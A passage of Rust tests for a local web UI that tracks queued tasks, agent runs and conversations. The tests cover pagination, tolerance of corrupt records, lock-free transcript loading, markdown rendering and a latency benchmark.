queue_page(State(ui.clone()), Query(PageQuery::default()))
.await
.unwrap()
.0,
)
.unwrap();
assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
assert!(
!page["rows"][0]["stuck_roots"]
.as_array()
.unwrap()
.is_empty()
);
let cursor = page["next"].as_str().unwrap();
let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
.as_str()
.unwrap();
std::fs::remove_file(queue.path_of(last_id)).unwrap();
let next = serde_json::to_value(
queue_page(
State(ui.clone()),
Query(PageQuery {
before: Some(cursor.into()),
}),
)
.await
.unwrap()
.0,
)
.unwrap();
assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
let chats = serde_json::to_value(
talks_page(
State(ui.clone()),
Query(PageQuery::default()),
header::HeaderMap::new(),
)
.await
.unwrap()
.0,
)
.unwrap();
assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
assert!(chats["rows"][0].get("pending").is_none());
assert!(chats["rows"][0].get("turn_bodies_md").is_none());
let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
assert_eq!(counts["held"], 1);
assert_eq!(counts["blocked"], 1);
assert_eq!(counts["queued"], 997);
}
#[test]
fn queue_index_observes_external_replacement_deletion_and_corruption() {
let dir = tempfile::tempdir().unwrap();
let ui = delta_test_ui(dir.path());
let mut task = Task::new(
"task".into(),
"body".into(),
PathBuf::from("/repo"),
Source::Human,
);
task.runs = vec!["run-a".into()];
ui.queue.put(&mut task).unwrap();
assert!(ui.find_task_for_run("run-a").unwrap().is_some());
task.runs = vec!["run-b".into()];
let path = ui.queue.path_of(&task.id);
let modified = path.metadata().unwrap().modified().unwrap();
let replacement = path.with_extension("replacement");
let bytes = serde_json::to_vec_pretty(&task).unwrap();
assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
std::fs::write(&replacement, &bytes).unwrap();
std::fs::File::options()
.write(true)
.open(&replacement)
.unwrap()
.set_times(std::fs::FileTimes::new().set_modified(modified))
.unwrap();
std::fs::rename(&replacement, &path).unwrap();
assert!(ui.find_task_for_run("run-a").unwrap().is_none());
assert!(ui.find_task_for_run("run-b").unwrap().is_some());
std::fs::write(&path, "broken").unwrap();
assert!(ui.find_task_for_run("run-b").is_err());
std::fs::write(&path, bytes).unwrap();
assert!(ui.find_task_for_run("run-b").unwrap().is_some());
std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
assert!(ui.find_task_for_run("run-b").unwrap().is_none());
}
#[tokio::test]
async fn conversation_core_is_independent_of_unreadable_related_history() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
std::fs::create_dir_all(ui.queue.root()).unwrap();
std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
.await
.unwrap();
assert_eq!(core.talk.id, id);
assert!(talk_sections(State(ui), Path(id)).await.is_ok());
}
#[test]
fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
let directory = home.path().join("workers/jobs/abcdef");
std::fs::create_dir_all(&directory).unwrap();
let job = crate::worker::Job {
id: "abcdef".into(),
sequence: 1,
kind: "chat".into(),
key: id.clone(),
payload: serde_json::json!({ "talk": id }),
generation: "test".into(),
version: None,
status: crate::worker::Status::Running,
result: None,
pid: None,
created_at: 0,
finished_at: None,
};
std::fs::write(
directory.join("job.json"),
serde_json::to_vec(&job).unwrap(),
)
.unwrap();
let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
let store =
crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
let runtime = tokio::runtime::Builder::new_current_thread()
.enable_all()
.max_blocking_threads(1)
.build()
.unwrap();
runtime.block_on(async {
let (release, held) = std::sync::mpsc::channel();
let (started, ready) = tokio::sync::oneshot::channel();
let occupied = tokio::task::spawn_blocking(move || {
started.send(()).unwrap();
held.recv().unwrap();
});
ready.await.unwrap();
let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
let bulk = ui
.monitor
.bulk_slots
.clone()
.acquire_many_owned(2)
.await
.unwrap();
let result = tokio::time::timeout(
Duration::from_secs(2),
talk_core(State(ui.clone()), Path(id.clone())),
)
.await;
drop(store);
drop(bulk);
release.send(()).unwrap();
occupied.await.unwrap();
let _ = secondary.await.unwrap().unwrap();
let Json(core) = result
.expect("transcript must bypass secondary work and the worker store lock")
.unwrap();
assert!(
core.thinking,
"read-only observation retains live worker state"
);
assert_eq!(core.talk.id, id);
let admission_ui = ui.clone();
let (release, held) = std::sync::mpsc::channel();
let (started, ready) = tokio::sync::oneshot::channel();
let admission = std::thread::spawn(move || {
let _lock = admission_ui.talk_turns.lock().unwrap();
started.send(()).unwrap();
held.recv().unwrap();
});
ready.await.unwrap();
let result = tokio::time::timeout(
Duration::from_secs(2),
talk_core(State(ui.clone()), Path(id.clone())),
)
.await;
release.send(()).unwrap();
admission.join().unwrap();
assert!(
result
.expect("display must not wait behind local admission")
.unwrap()
.0
.thinking
);
assert!(ui.is_thinking(&id));
assert!(ui.is_thinking_observed(&id));
drop(live);
assert!(
!ui.is_thinking_observed(&id),
"a finished lease no longer appears live"
);
assert!(!ui.is_thinking(&id));
let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
assert!(
ui.is_thinking_observed(&id),
"local admission remains visible"
);
});
}
#[tokio::test]
async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
let mut task = Task::new(
"Referenced task".into(),
"Unrelated instruction history".repeat(1024),
home.path().into(),
Source::Human,
);
task.id = "20261019-000000-abcd".into();
ui.queue.put(&mut task).unwrap();
let mut conversation = ui.talks.get(&id).unwrap();
conversation.turns.push(talk::Turn {
sender: Some(talk::Sender::Persona),
who: talk::Who::Agent,
body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
at: conversation.created_at,
attachments: Vec::new(),
usage: None,
breaks: None,
messages: Vec::new(),
posted_by: None,
});
ui.talks.put(&mut conversation).unwrap();
let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
let markdown = serde_json::to_value(&core.turn_bodies_md)
.unwrap()
.to_string();
assert!(markdown.contains("\"strong\""));
assert!(markdown.contains("\"table\""));
assert!(markdown.contains("\"bullet_list\""));
assert!(markdown.contains("\"code_block\""));
assert!(!markdown.contains("\"internal_link\""));
assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
let references = ui.references.for_talk(home.path(), &conversation);
let mut decorated = core.turn_bodies_md[0].clone();
references.markdown(&mut decorated);
let decorated = serde_json::to_value(decorated).unwrap().to_string();
assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
assert_eq!(
ui.talks.get(&conversation.id).unwrap().turns[0].body,
conversation.turns[0].body
);
}
#[tokio::test]
async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
let mut run = RunState::new(
PathBuf::from("/repo"),
"main".into(),
"01234567".into(),
"Useful run".into(),
Config::default(),
);
run.save_under(home.path()).unwrap();
let mut task = Task::new(
"Related".into(),
"body".into(),
PathBuf::from("/repo"),
Source::Agent {
run: talk_id.clone(),
node: "chat".into(),
},
);
task.runs = vec![run.id.clone()];
ui.queue.put(&mut task).unwrap();
std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
assert!(
run_detail(State(ui.clone()), Path(run.id.clone()))
.await
.is_ok()
);
assert!(
talk_sections(State(ui.clone()), Path(talk_id.clone()))
.await
.is_ok()
);
std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
assert!(ui.find_task_for_run(&run.id).is_err());
assert!(ui.find_tasks_for_talk(&talk_id).is_err());
ui.queue.put(&mut task).unwrap();
assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
}
#[tokio::test]
async fn conversation_sections_omit_large_task_instructions() {
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
let mut task = Task::new(
"filed task".into(),
"large instruction ".repeat(65536),
PathBuf::from("/repo"),
Source::Agent {
run: id.clone(),
node: "chat".into(),
},
);
ui.queue.put(&mut task).unwrap();
let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
assert_eq!(sections["tasks"][0]["id"], task.id);
assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
assert!(sections["tasks"][0].get("instruction").is_none());
assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
}
#[test]
fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
let home = tempfile::tempdir().unwrap();
let talks = Talks::at(home.path().join("talks"));
seed_talk_at(&talks, "20261019-000001-abcd", "open");
seed_talk_at(&talks, "20261019-000002-abcd", "open");
std::fs::write(home.path().join("outside.json"), "{}").unwrap();
assert!(resolve_talk(&talks, "../outside").is_err());
assert!(resolve_talk(&talks, "abcd").is_err());
assert_eq!(
resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
"20261019-000001-abcd"
);
}
include!(concat!(
env!("CARGO_MANIFEST_DIR"),
"/tests/web_latency/baseline.rs"
));
include!(concat!(
env!("CARGO_MANIFEST_DIR"),
"/tests/web_latency/lists.rs"
));
#[tokio::test]
#[ignore = "local performance measurement; see docs/web-responsiveness.md"]
async fn web_history_latency_measurement() {
use std::time::Instant;
let home = tempfile::tempdir().unwrap();
let ui = delta_test_ui(home.path());
let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
let mut template = ui.talks.get(&id).unwrap();
template.turns = serde_json::from_value(serde_json::json!([{
"who": "operator", "body": "Show the accumulated work and its current status.",
"at": Timestamp::now().to_string(),
}]))
.unwrap();
std::fs::write(
ui.talks.path_of(&id),
serde_json::to_vec(&template).unwrap(),
)
.unwrap();
let count = std::env::var("MAGI_BENCH_RECORDS")
.ok()
.and_then(|s| s.parse::<usize>().ok())
.unwrap_or(1000);
for i in 0..count {
template.id = format!("20261019-{i:06}-history");
template.pending = "history ".repeat(2048);
std::fs::write(
ui.talks.path_of(&template.id),
serde_json::to_vec(&template).unwrap(),
)
.unwrap();
let mut task = Task::new(
"old task".into(),
"instruction ".repeat(2048),
PathBuf::from("/repo"),
Source::Human,
);
task.id = format!("20261019-{i:06}-task");
ui.queue.put(&mut task).unwrap();
}
for baseline in [true, false] {
for clients in [1, 4] {
let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
let mut samples = Vec::new();
for _ in 0..12 {
let mut jobs = Vec::new();
for _ in 0..clients {
let ui = ui.clone();
let id = id.clone();
jobs.push(tokio::spawn(async move {
let start = Instant::now();
if baseline {
let response =
baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
let elapsed = start.elapsed().as_secs_f64() * 1000.0;
return (
elapsed,
elapsed,
serde_json::to_vec(&response).unwrap().len(),
);
}
let core = talk_core(State(ui.clone()), Path(id.clone()));
let secondary = talk_sections(State(ui), Path(id));
let (first, total) = tokio::join!(
async {
let value = core.await.unwrap().0;
(
start.elapsed().as_secs_f64() * 1000.0,
serde_json::to_vec(&value).unwrap().len(),
)
},
async {
let value = secondary.await.unwrap().0;
(
start.elapsed().as_secs_f64() * 1000.0,
serde_json::to_vec(&value).unwrap().len(),
)
}
);
(first.0, first.0.max(total.0), first.1 + total.1)
}));
}
for job in jobs {
samples.push(job.await.unwrap());
}
}
let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
first.sort_by(f64::total_cmp);
total.sort_by(f64::total_cmp);
let n = first.len();
let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
println!(
"baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
first[n / 2],
first[(n * 95 / 100).min(n - 1)],
total[n / 2],
total[(n * 95 / 100).min(n - 1)],
samples[0].2
);
}
}
}
#[test]
fn app_js_contains_progressive_rendering_and_decoupled_reports() {
assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
assert!(APP_JS.contains("function nextRunRequest(id)"));
assert!(APP_JS.contains("function runShell(id, summary)"));
assert!(APP_JS.contains("function nextTaskRequest(id)"));
assert!(APP_JS.contains("function taskShell(id, summary)"));
assert!(APP_JS.contains("state.detail.reportLoading = false;"));
}
}